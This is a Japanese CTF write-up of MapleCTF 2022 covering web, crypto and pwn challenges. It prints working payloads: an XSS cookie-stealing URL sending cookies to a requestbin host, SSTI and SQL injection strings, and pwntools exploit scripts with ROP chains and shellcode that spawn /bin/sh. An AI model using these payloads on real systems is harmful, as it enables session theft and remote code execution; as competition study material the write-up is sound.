カナダのCTFチームMaple Baconが主催したMapleCTF 2022に参加し、20位/618チームという結果でした。解けた問題について解説していきます。問題サーバーが閉じているので一部の問題はフラグがありません。
スコアサーバーが https://ctf2022.maplebacon.org/challenges でアーカイブされているので問題などもこちらから確認できます。
Web
honksay [140 solves]
const express = require("express"); const cookieParser = require('cookie-parser'); const goose = require("./goose"); const clean = require('xss'); const app = express(); app.use(cookieParser()); app.use(express.urlencoded({extended:false})); const PORT = process.env.PORT || 9988; const headers = (req, res, next) => { res.setHeader('X-Frame-Options', 'DENY'); res.setHeader('X-Content-Type-Options', 'nosniff'); return next(); } app.use(headers); app.use(express.static('public')) const template = (goosemsg, goosecount) => ` <html> <head> <style> H1 { text-align: center } .center { display: block; margin-left: auto; margin-right: auto; width: 50%; } body { place-content:center; background:#111; } * { color:white; } </style> </head> ${goosemsg === '' ? '': `<h1> ${goosemsg} </h1>`} <img src='/images/goosevie.png' width='400' height='700' class='center'></img> ${goosecount === '' ? '': `<h1> You have honked ${goosecount} times today </h1>`} <form action="/report" method=POST style="text-align: center;"> <label for="url">Did the goose say something bad? Give us feedback.</label> <br> <input type="text" id="site" name="url" style-"height:300"><br><br> <input type="submit" value="Submit" style="color:black"> </form> </html> `; app.get('/', (req, res) => { if (req.cookies.honk){ //construct object let finalhonk = {}; if (typeof(req.cookies.honk) === 'object'){ finalhonk = req.cookies.honk } else { finalhonk = { message: clean(req.cookies.honk), amountoftimeshonked: req.cookies.honkcount.toString() }; } res.send(template(finalhonk.message, finalhonk.amountoftimeshonked)); } else { const initialhonk = 'HONK'; res.cookie('honk', initialhonk, { httpOnly: true }); res.cookie('honkcount', 0, { httpOnly: true }); res.redirect('/'); } }); app.get('/changehonk', (req, res) => { res.cookie('honk', req.query.newhonk, { httpOnly: true }); res.cookie('honkcount', 0, { httpOnly: true }); res.redirect('/'); }); app.post('/report', (req, res) => { const url = req.body.url; goose.visit(url); res.send('honk'); }); app.listen(PORT, () => console.log((new Date())+`: Web/honksay server listening on port ${PORT}`));
XSS問です。/changehonk
でreq.cookie.honk
を操作できます。/
でXSSが起きそうですが、req.cookie.honk
を文字列のまま渡すとclean
でサニタイズされてしまいます。そのため、req.cookie.honk
をオブジェクトで渡せればXSSが起きそうですね。req.cookie
の要素をオブジェクトにするテクはつい最近Hacker's Playground 2022 JWT Decoderでやりました。
cookie-parser
ライブラリはj:
から始まるクッキーはJSONとして解釈します。そのため、/changehonk
でhonk
にj:{"message": "<s>wow</s>"}
を設定すれば、req.cookie.honk
が{"message": "<s>wow</s>"}
になり、サニタイズを回避できるようになります。あとはrequestbinにCookieを送ればフラグが得られます。
/changehonk?newhonk=j:{%22message%22:%20%22%3Cimg%20src%20onerror=%27location.href=`http://XXX.b.requestbin.net?`%2Bdocument.cookie%27%22,%20%22goosecount%22:%2010}
Pickle Factory [66 solves]
import random import json import pickle from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, unquote_plus from jinja2 import Environment pickles = {} env = Environment() class PickleFactoryHandler(BaseHTTPRequestHandler): def do_GET(self): parsed = urlparse(self.path) if parsed.path == "/": self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() with open("templates/index.html", "r") as f: self.wfile.write(f.read().encode()) return elif parsed.path == "/view-pickle": params = parsed.query.split("&") params = [p.split("=") for p in params] uid = None filler = "##" space = "__" for p in params: if p[0] == "uid": uid = p[1] elif p[0] == "filler": filler = p[1] elif p[0] == "space": space = p[1] if uid == None: self.send_response(400) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("No uid specified".encode()) return if uid not in pickles: self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write( "No pickle found with uid {}".format(uid).encode()) return print(str(pickles[uid])) large_template = """ <!DOCTYPE html> <html> <head> <title> Your Pickle </title> <style> html * { font-size: 12px; line-height: 1.625; font-family: Consolas; } </style> </head> <body> <code> """ + str(pickles[uid]) + """ </code> <h2> Sample good: </h2> {% if True %} {% endif %} {{space*59}} {% if True %} {% endif %} {{space*6+filler*5+space*48}} {% if True %} {% endif %} {{space*4+filler*15+space*27+filler*8+space*5}} {% if True %} {% endif %} {{space*3+filler*20+space*11+filler*21+space*4}} {% if True %} {% endif %} {{space*3+filler*53+space*3}} {% if True %} {% endif %} {{space*3+filler*54+space*2}} {% if True %} {% endif %} {{space*2+filler*55+space*2}} {% if True %} {% endif %} {{space*2+filler*56+space*1}} {% if True %} {% endif %} {{space*3+filler*55+space*1}} {% if True %} {% endif %} {{space*3+filler*55+space*1}} {% if True %} {% endif %} {{space*4+filler*53+space*2}} {% if True %} {% endif %} {{space*4+filler*53+space*2}} {% if True %} {% endif %} {{space*5+filler*51+space*3}} {% if True %} {% endif %} {{space*7+filler*48+space*4}} {% if True %} {% endif %} {{space*9+filler*44+space*6}} {% if True %} {% endif %} {{space*13+filler*38+space*8}} {% if True %} {% endif %} {{space*16+filler*32+space*11}} {% if True %} {% endif %} {{space*20+filler*24+space*15}} {% if True %} {% endif %} {{space*30+filler*5+space*24}} {% if True %} {% endif %} {{space*59}} {% if True %} {% endif %} </body> </html> """ try: res = env.from_string(large_template).render( filler=filler, space=space) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(res.encode()) except Exception as e: print(e) self.send_response(500) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("Error rendering template".encode()) return else: self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("Not found".encode()) return def do_POST(self): parsed = urlparse(self.path) if parsed.path == "/create-pickle": length = int(self.headers.get("content-length")) body = self.rfile.read(length).decode() try: data = unquote_plus(body.split("=")[1]).strip() data = json.loads(data) pp = pickle.dumps(data) uid = generate_random_hexstring(32) pickles[uid] = pp self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(uid.encode()) return except Exception as e: print(e) self.send_response(400) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("Invalid JSON".encode()) return else: self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write("Not found".encode()) return def render_template_string_sanitized(env, template, **args): # it works! global_vars = ['self', 'config', 'request', 'session', 'g', 'app'] for var in global_vars: template = "{% set " + var + " = None %}\n" + template return env.from_string(template).render(**args) def generate_random_hexstring(length): return "".join(random.choice("0123456789abcdef") for _ in range(length)) if __name__ == "__main__": PORT = 9229 with HTTPServer(("", PORT), PickleFactoryHandler) as httpd: print(f"Listening on 0.0.0.0:{PORT}") httpd.serve_forever()
謎のアプリで、/create-pickle
でJSONとして読み込める値をpickle化してくれて、それを/view-pickle
でunpickle化して表示できます。
/view-pickle
にServer Side Template Injectionがあります。作者の想定解だとSSTIの中でpickle使って色々する予定だったみたいですが、いつものペイロードで終了です。以下のようなJSONをpickle化し、/view-pickle
で表示させればフラグが取得できます。
{"a": "{{().__class__.__bases__[0].__subclasses__()[104]().load_module(os).popen('cat flag.log').read()}}"}
Bookstore [60 solves]
本が購入できるサイトです。フラグはDBの中にあり、SQL Injectionがありますが、username
とpassword
はバリデーションが強く攻撃に使うことはできません。しかし、email
はバリデーションが弱いです。
import validator from 'validator' ... export function validateEmail(email) { return validator.isEmail(email) }
email
は"hoge fuga"@example.com
のような記法も許容されています。(定義されている具体的なRFCとかは調べてませんが、とにかく通ります)
これを使ってSQLiすればよいです。以下のようなemailを使うとフラグが得られます。
"', (SELECT texts FROM books WHERE id = '1'))-- "@example.com
Viene Library (unsolved) [11 solves]
Prototype Pollutionでnode-fetch
のPOSTリクエストをPUTリクエストに変更しろという問題でした。コンセプトに気付く前に早めに諦めてしまったので、Art Galleryに時間割いてなければ解けてた気がして悔しい。
Art Gallery (unsolved) [3 solves]
redisとレスポンスを返さないFTPサーバーとhttpsのSSRFがあるので頑張ってくださいという問題です。WebのBoss問挑戦してみたいな~と半日かけて挑みましたが、色々試してもリクエストの任意行を操作できる方法がわからず断念しました。Writeupを読み漁っている途中でTLS Poisonという手法を知ってこれではと思いましたが、DNS用のサーバーなど準備するものが多く大変だな~となり諦めました。結局想定解はTLS Poisonだったようですが、Writeupを読み漁っている中でTLS PoisonやFTPのパッシブモードを利用したSSRFについて勉強できたので解けなかったですが満足です。
Crypto
brsaby [166 solves]
from Crypto.Util.number import getPrime, bytes_to_long from secret import FLAG msg = bytes_to_long(FLAG) p = getPrime(512) q = getPrime(512) N = p*q e = 0x10001 enc = pow(msg, e, N) hint = p**4 - q**3 print(f"{N = }") print(f"{e = }") print(f"{enc = }") print(f"{hint = }") ''' N = 134049493752540418773065530143076126635445393203564220282068096099004424462500237164471467694656029850418188898633676218589793310992660499303428013844428562884017060683631593831476483842609871002334562252352992475614866865974358629573630911411844296034168928705543095499675521713617474013653359243644060206273 e = 65537 enc = 110102068225857249266317472106969433365215711224747391469423595211113736904624336819727052620230568210114877696850912188601083627767033947343144894754967713943008865252845680364312307500261885582194931443807130970738278351511194280306132200450370953028936210150584164591049215506801271155664701637982648648103 hint = 20172108941900018394284473561352944005622395962339433571299361593905788672168045532232800087202397752219344139121724243795336720758440190310585711170413893436453612554118877290447992615675653923905848685604450760355869000618609981902108252359560311702189784994512308860998406787788757988995958832480986292341328962694760728098818022660328680140765730787944534645101122046301434298592063643437213380371824613660631584008711686240103416385845390125711005079231226631612790119628517438076962856020578250598417110996970171029663545716229258911304933901864735285384197017662727621049720992964441567484821110407612560423282 '''
p**4 - q**3
が与えられているRSAです。cryptoが苦手すぎてかなり時間かかりましたが、過去の類似問題を漁るとq
の二次方程式にすれば解けることがわかりました。(次数を調整することしか考えてなかった)
SageMathを使って以下のコードを実行すると、フラグが手に入ります。
参考にしたWriteup:
from Crypto.Util.number import long_to_bytes N = 134049493752540418773065530143076126635445393203564220282068096099004424462500237164471467694656029850418188898633676218589793310992660499303428013844428562884017060683631593831476483842609871002334562252352992475614866865974358629573630911411844296034168928705543095499675521713617474013653359243644060206273 e = 65537 enc = 110102068225857249266317472106969433365215711224747391469423595211113736904624336819727052620230568210114877696850912188601083627767033947343144894754967713943008865252845680364312307500261885582194931443807130970738278351511194280306132200450370953028936210150584164591049215506801271155664701637982648648103 hint = 20172108941900018394284473561352944005622395962339433571299361593905788672168045532232800087202397752219344139121724243795336720758440190310585711170413893436453612554118877290447992615675653923905848685604450760355869000618609981902108252359560311702189784994512308860998406787788757988995958832480986292341328962694760728098818022660328680140765730787944534645101122046301434298592063643437213380371824613660631584008711686240103416385845390125711005079231226631612790119628517438076962856020578250598417110996970171029663545716229258911304933901864735285384197017662727621049720992964441567484821110407612560423282 """ N = pq p^4 = N^4/q^4 hint = p^4 - q^3 p^4 = hint + q^3 N^4/q^4 = hint + q^3 N^4 = hint*q^4 + q^7 """ x = var("x") f = N^4 - hint*x^4 - x^7 q = int(f.roots()[0][0]) p = N // q print(p, q, p * q == N) d = pow(e, -1, (p-1)*(q-1)) print(long_to_bytes(pow(enc, d, N)))
maple{s0lving_th3m_p3rf3ct_r000ts_1s_fun}
(ちなみに、perfect r00tは参加してませんでした)
jwt (unsolved) [79 solves]
jwtに楕円曲線暗号を実装してみましたという問題です。明らかにinvalid curve attackなんですが、やり方を理解できておらず諦めました。最低点(50pt)の問題解けなかったのつらい。
Rev
手を出してません。Revに手を出す暇があったら他の解けそうな問題に手を出してしまう...
Pwn
warmup1 [190 solves]
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
read
関数のStack-based Buffer Overflow があります。スタックのリターンアドレスが0x555555555212 (main+68)
のとき、win
関数が0x555555555219
にあるのでリターンアドレスの下1byteを\x19
に書き替えれば終わりです。
import sys import glob from pwn import * context.terminal = "wterminal" context.binary = "./chal" chall = context.binary libc = "./libc.so.6" nc = "nc warmup1.ctf.maplebacon.org 1337" if len(glob.glob(libc)) == 1: libc = ELF(libc) def connect(): if "debug" in sys.argv: return gdb.debug(context.binary.path, command) elif "remote" in sys.argv: _, domain, port = nc.split() return remote(domain, int(port)) else: return process(context.binary.path) def to_bytes(v): return str(v).encode() def unpack(data): return u64(data.rstrip().ljust(8, b"\x00")) command = ''' b main c ''' io = connect() io.send(b"A" * 0x18 + b"\x19") io.interactive()
warmup2 [100 solves]
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
$ ./chal What's your name? hogehoge Hello hogehoge ! How old are you? fugafuga Wow, I'm fugafuga too!
今回はcanaryが有効です。read
関数のBOFが二回あり、一回目に入力した文字列が二回目の前に表示されるようになっています。
canaryがないと攻撃できないので、canaryをleakしましょう。一回目でcanaryの値があるアドレスの直前まで文字を埋めることで、文字列の表示時にcanaryがleakできます。
canaryがleakできたらret2vulnして同様に必要なアドレスをleakして、ROPすれば終わりです。
io = connect() # canary leak io.sendafter(b"What's your name?\n", b"A" * 8 * 0x21 + b"Z") io.recvuntil("Z") canary = u64(b"\x00" + io.recv(7)) log.info(f"canary: {canary:x}") payload = b"A" * 8 * 0x21 payload += p64(canary) payload += p64(0) # rbp payload += b"\xa3" io.sendafter(b"How old are you?\n", payload) # bin leak io.sendafter(b"What's your name?\n", b"A" * 8 * 0x23 + b"Z") io.recvuntil("Z") chall.address = u64(b"\x00" + io.recv(5) + b"\x00" * 2) - 0x1200 log.info(f"bin base: {chall.address:x}") # libc leak pop_rdi = chall.address + 0x0000000000001353 ret = chall.address + 0x000000000000101a payload = b"A" * 8 * 0x21 payload += p64(canary) payload += p64(0) # rbp payload += p64(pop_rdi) payload += p64(chall.got["puts"]) payload += p64(chall.plt["puts"]) payload += p64(chall.sym["main"]) io.sendafter(b"How old are you?\n", payload) io.recvuntil("too!\n") libc.address = unpack(io.recvline()) - libc.sym["puts"] log.info(f"libc: {libc.address:x}") io.sendafter(b"What's your name?\n", b"hoge") # ROP payload = b"A" * 8 * 0x21 payload += p64(canary) payload += p64(0) # rbp payload += p64(ret) payload += p64(pop_rdi) payload += p64(next(libc.search(b"/bin/sh\x00"))) payload += p64(libc.sym["system"]) io.sendafter(b"How old are you?\n", payload) io.interactive()
no flag 4 u [38 solves]
LD_PRELOADを使い次のライブラリでいくつかの関数をパッチした環境でバイナリが動いています。
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
❯ ./chal 1 : Create page 2 : Edit page 3 : Print page 4 : Delete page 5 : Exit
フォーマットはheap問ですが、heap要素はありません。どの関数もindexのチェックがされていないので、pages
の範囲を超えて参照することができます。
void edit_page(char **pages) { long lVar1; printf("index: "); lVar1 = get_input(); printf("content: "); gets(pages[lVar1]); return; }
pages
はmain
関数のスタックに配置される配列なので、indexを操作することでスタックにあるアドレスを使うことができます。edit_page
を使えばスタック上を指しているスタック上のポインタを利用してスタック上に任意のアドレスを生成し、そのアドレスに対して再度edit_page
を利用すればAAWができるので、GOT Overwriteして終わりです。
最初に言ったライブラリのパッチにより、UTF-8 validな入力/出力でなければpanicが起きます。特に強い制限ではなくて、win
関数のアドレスはUTF-8 validなので、GOTのアドレスをUTF-8 validなものに吟味するだけでよいです。
def create(idx, size, content): io.sendlineafter("5 : Exit\n", b"1") io.sendlineafter("index: ", to_bytes(idx)) io.sendlineafter("size: ", to_bytes(size)) io.sendlineafter("content: ", content) def edit(idx, content): io.sendlineafter("5 : Exit\n", b"2") io.sendlineafter("index: ", to_bytes(idx)) io.sendlineafter("content: ", content) def show(idx): io.sendlineafter("5 : Exit\n", b"3") io.sendlineafter("index: ", to_bytes(idx)) return io.readline() def delete(idx): io.sendlineafter("5 : Exit\n", b"4") io.sendlineafter("index: ", to_bytes(idx)) io = connect() edit(0x37, p64(chall.got["gets"])) edit(0x61, p64(chall.sym["win"])) io.interactive()
printf [25 solves]
Format String Bugがありますが、printfが一回だけ行われて終了するバイナリなので頑張る必要があります。このテクニックはdouble staged fsbとして知られているらしいですね。
簡単に説明すると、%hhn
でスタック上のスタックを指すポインタの下1byteを書き替えて偶然リターンアドレスを指しているアドレスにできれば、そのアドレスに対して%hhn
すればリターンアドレスを書き替えられるよね、というものです。この"偶然"は1/16の確率で起こるので現実的な試行回数で成功することができます。これを使えばmain関数に再度戻ることができるので、何回も戻りながら他のスタック上のスタックを指すポインタを使って同様の手法を同時に使うことでAAWできるというものです。良さそうなGOT Overwrite先が無かったのでROPしました。
io = connect() io.sendline(f"%c%c%c%c%{0x18 - 4}c%hhn%{0x100 - 0x18 + 0xf}c%hhn%c%p%p%c%p") io.recvuntil("0x") stack_leak = int(io.read(6*2), 16) log.info(f"stack: {stack_leak:x}") io.recvuntil("0x") chall.address = int(io.read(6*2), 16) - 0x120f log.info(f"bin: {chall.address:x}") io.recvuntil("0x") libc.address = int(io.readline(), 16) - (libc.sym["__libc_start_main"] + 243) log.info(f"libc: {libc.address:x}") pop_rdi = 0x00000000000012c3 + chall.address payload = b"" payload += p64(pop_rdi) payload += p64(next(libc.search(b"/bin/sh\x00"))) payload += p64(libc.sym["system"]) for i in range(len(payload)//2): src_addr = ((stack_leak & 0xffff) + i * 2) % 0x10000 val = u16(payload[i*2:i*2+2]) io.sendline(f"%c%c%c%c%{0x18 - 4}c%hhn%{0x100 - 0x18 + 0xf}c%hhn%c%c%c%c%c%{0x10000 - 0x10f + src_addr - 5}c%hn{'%c'*0x1a}%{0x10000 - src_addr + val - 0x1a}c%hn") # ret io.sendline(f"%c%c%c%c%{0x18 - 4}c%hhn%{0x100 - 0x18 + 0x54}c%hhn") io.interactive()
Puzzling Oversight [19 solves]
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RWX: Has RWX segments
❯ ./chal_patched Welcome to the Number Flipper(TM) game v7.27! Options: 1 - play the game 2 - display how to play this game 3 - display game stats 4 - quit > 2 How to play this game: You are given 8 random hexadecimal numbers, which you can increment by any amount (it will wrap around if it's too big); However, the catch is doing so also affects the numbers directly next to it! Your goal is to flip all the numbers to 0s. That's it - simple, right? Options: 1 - play the game 2 - display how to play this game 3 - display game stats 4 - quit > 1 Board: 4bcb 20e9 1f79 e50b 2926 5a5c 6ee4 8506 Your move (0 to quit) > 2 Increment how much? > 16 Board: 4bdb 20f9 1f89 e50b 2926 5a5c 6ee4 8506 Your move (0 to quit) > 0 Options: 1 - play the game 2 - display how to play this game 3 - display game stats 4 - quit > 4
説明にある通り、以下のようなゲームができます。
ランダムな8個の数字が与えられる
ある数字を指定して、その数字と両隣を任意の数字と加算することができる (2byteから溢れた分は捨てられる)
数字の配列はBSSに保存される
全部0にしたらクリア
途中でやめることも可能
また、main関数ではBSSに関数ポインタのテーブルを用意して、選択肢によりジャンプ先が分岐するようになっています。
ゲームの加算部分に脆弱性があります。例えば一番左端の数字を指定すると、左端の左、つまり左端から左2byteの範囲外領域も加算させることができます。左2byteに何があるかというと、mainからゲームが行われる関数に飛ぶときに使う関数ポインタです。この関数ポインタに加算ができるということなので、RIPをバイナリの任意の場所にすることができました。
ここでRIPをどこに向ければいいか悩みましたが、よく見るとBSS領域がRWXになっていることに気付きました。(ちょっとした問題がありDocker内のvanilla gdbでデバッグしてたので気付かなかった)
数字の配列はBSSに保存されるので、これをshellcodeにして配列にRIPを向ければshellcodeの実行ができますね。
shellcodeを実行するには数字の配列を任意の値に操作したいですね。関数ポインタを操作する都合上、左端の加算値は確定するのでこの問題は貪欲に左から求めれば解けます。
右端は左側の数字を操作するのに使ってしまうので、右端の値は操作することができません。そのため、数字7個分の14bytesが操作できる限界です。つまり、shellcodeは14bytesしか実行できません。
14bytesのshellcodeで/bin/sh
の実行までできればいいですが難しそうなので、RIPから相対的にjmpできるnear jmp(E9
)で再度mainに戻るようにして何回もshellcodeを実行する方針でexploitしました。
io = connect() context.arch="amd64" for j, c in enumerate(b"/bin/sh\x00"): print(j) # print("OK") io.sendlineafter("> ", "1") io.recvuntil("Board: ") board = [0] + list(map(lambda x:int(x, 16), io.readline().rstrip().split(b" "))) + [0] print(board) if c == 0: code = asm(f"mov rdi,rbp\nmov al,0x3b\nxor rdx,rdx\nxor rsi,rsi\nsyscall") else: code = asm(f"mov BYTE PTR [rbp+{j}], {c}") + b"\xe9\x42\xd3\xff\xff" code = b"\x90" * (14 - len(code)) + code print(disasm(code)) code = code[::-1] assert len(code) <= 14 for i in range(1, 8+1): if i == 1: if j == 0: diff = 11438+2 else: diff = 0 else: diff = (int.from_bytes(code[i*2-4:i*2-2], "big") - board[i-1]) % 0x10000 board[i+1] += diff board[i] += diff board[i-1] += diff io.sendlineafter("Your move (0 to quit) > ", str(i)) io.sendlineafter("Increment how much? > ", str(diff)) io.sendlineafter("Your move (0 to quit) > ", "0") # io.sendlineafter("> ", "1") io.interactive()
Discord見たら頑張って14bytesでsh
実行している人が何人もいた。すごい。
EBCSIC [14 solves]
#!/usr/bin/env python3 import string import ctypes import os import sys import subprocess ok_chars = string.ascii_uppercase + string.digits elf_header = bytes.fromhex("7F454C46010101000000000000000000020003000100000000800408340000000000000000000000340020000200280000000000010000000010000000800408008004080010000000000100070000000000000051E5746400000000000000000000000000000000000000000600000004000000") print("Welcome to EBCSIC!") sc = input("Enter your alphanumeric shellcode: ") try: assert all(c in ok_chars for c in sc) sc_raw = sc.encode("cp037") assert len(sc_raw) <= 4096 except Exception as e: print("Sorry, that shellcode is not acceptable.") exit(1) print("Looks good! Let's try your shellcode...") sys.stdout.flush() memfd_create = ctypes.CDLL("libc.so.6").memfd_create memfd_create.argtypes = [ctypes.c_char_p, ctypes.c_int] memfd_create.restype = ctypes.c_int fd = memfd_create(b"prog", 0) os.write(fd, elf_header) os.lseek(fd, 4096, 0) os.write(fd, sc_raw.ljust(4096, b"\xf4")) os.execle("/proc/self/fd/%d" % fd, "prog", {}) os.execle("./test", "prog", {})
alphanumeric shellcodeはASCIIのアルファベットと数字だけで記述するshellcodeですが、この問題はx86 alphanumeric shellcodeをcp037エンコーディング下で4096byte以内でやれという問題です。使えるバイトは以下の通りです。
\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9 \xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9 \xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9 \xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9
/bin/sh
をどこかのメモリに配置してexecve
システムコールでシェルを取りたいので、実現するには以下のような手段が考えられます。
coder32 edition | X86 Opcode and Instruction Reference 1.12 とにらめっこした結果、なんとか全ての手段を達成できました。
1. レジスタに任意の値を生成する
まず、not
とneg
でcl
に1を生成します。その後右シフト命令のsarを使うとCF(キャリーフラグ)を立てることができます。
f6 d1 not cl f6 d9 neg cl d1 f9 sar ecx, 1
次に、左Rotate命令のrclを使うことでCFを下位に1bit挿入することができます。
d1 d4 rcl esp, 1
現時点でecxは0なので、再度sar
を行えばCFをクリアすることができます。
d1 f9 sar ecx, 1
最初にCFを立てるか立てないかで1bitを操作することができるので、これを32bit分繰り返せば任意の値が生成できます。(無駄が多いことには目を瞑る)
2. メモリにレジスタの値を書き込む
これを探すのが一番苦労しました。この問題の核心です。
[foo]
や[foo + rcx*4]
のようなアドレッシングの表現はModR/M byteというもので管理されているらしく、次のような表で確認できます。
この問題では使えるバイトは最低\xc0
です。間接アドレッシングを表現できるのはC0
未満なので、どうやっても間接アドレッシングを利用してメモリを参照することができません!これではfoo [bar], baz
のような形の命令は全て使えません。
通常のalphanumeric shellcodeに使われるpush
命令も使える範囲にありません。答えはどこかしらにあるはずなので、使える命令を端から端まで見ました。すると、気になる命令がありました。
ENTER eBP imm16 imm8: Make Stack Frame for Procedure Parameters
「Make Stack Frame...? ENTER命令ってROPgadgetとかで見かけたことはあるな。調べてみるか」
leave
の逆をするenter
命令というのもあります。 以下の命令と同じような処理をします。push ebp mov ebp, esp sub esp, N
「これやんけ!!!!!!!!!!!!!!!!!!!!!」
enter
に隠れたpush
がありました。ebpは操作できるので、enter
でpush
をすればスタックに任意の値を積むことができるので、これで2を達成できました。
c8 c1 c1 c1 enter 0xc1c1, 0xc1
ずれたespは後で適当に調整すればいいです。
3. RIPを任意の値にする
これは簡単、ret
です。
c3 ret
exploit
というわけで任意のshellcodeを書いて実行することができます。以下がexploitです。(めちゃくちゃ汚くてかなり無駄があるので、4096byteの制限ギリギリです)
from pwn import * import string context.arch="i386" ok_chars = string.ascii_uppercase + string.digits ok_chars = ok_chars.encode("cp037") print(ok_chars) def valid(code): for c in code: if c not in ok_chars: print(hex(c)) assert len(code) <= 4096 """ 0x8048000 0x8049000 rwxp 1000 1000 binary 0x8049000 0x8058000 rwxp f000 0 [heap] 0xf7ff9000 0xf7ffc000 r--p 3000 0 [vvar] 0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso] 0xfffdd000 0xffffe000 rw-p 21000 0 [stack] """ set_CF = asm(""" not cl neg cl sar ecx, 1 """) clear_CF = asm("sar ecx, 1") load_CF_to_ebp = asm("rcl ebp, 1") load_CF_to_esp = asm("rcl esp, 1") enter = asm("enter 0xc1c1, 0xc1") ret = asm("ret") def make(n, loadcode): assert n < (1 << 32) code = b"" for i in range(32): if (n >> (31 - i)) & 1: code += set_CF else: code += clear_CF code += loadcode return code shellcode = asm("nop") + asm("mov esp, 0x8052000") + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80".ljust(4, b"\x90") + b"\x90" * 4 print(shellcode) payload = b"" for i in range(len(shellcode)//4): idx = len(shellcode)//4 - i payload += make(0x8058000-4*i, load_CF_to_esp) payload += make(u32(shellcode[4*(idx-1):4*idx]), load_CF_to_ebp) payload += enter payload += make(0x8058000-len(shellcode), load_CF_to_esp) payload += make(0x8058000-len(shellcode)+1, load_CF_to_ebp) payload += enter payload += make(0x8057fdb, load_CF_to_esp) payload += ret print(len(payload)) assert len(payload) <= 4096 print(payload, disasm(payload)) valid(payload) print(payload.decode("cp037"))
生成した以下のpayloadをサーバーに投げると、シェルが取得できます。
J9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JM6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JMJ9JM6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JMJ9JM6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JNJ9JN6J6RJ9J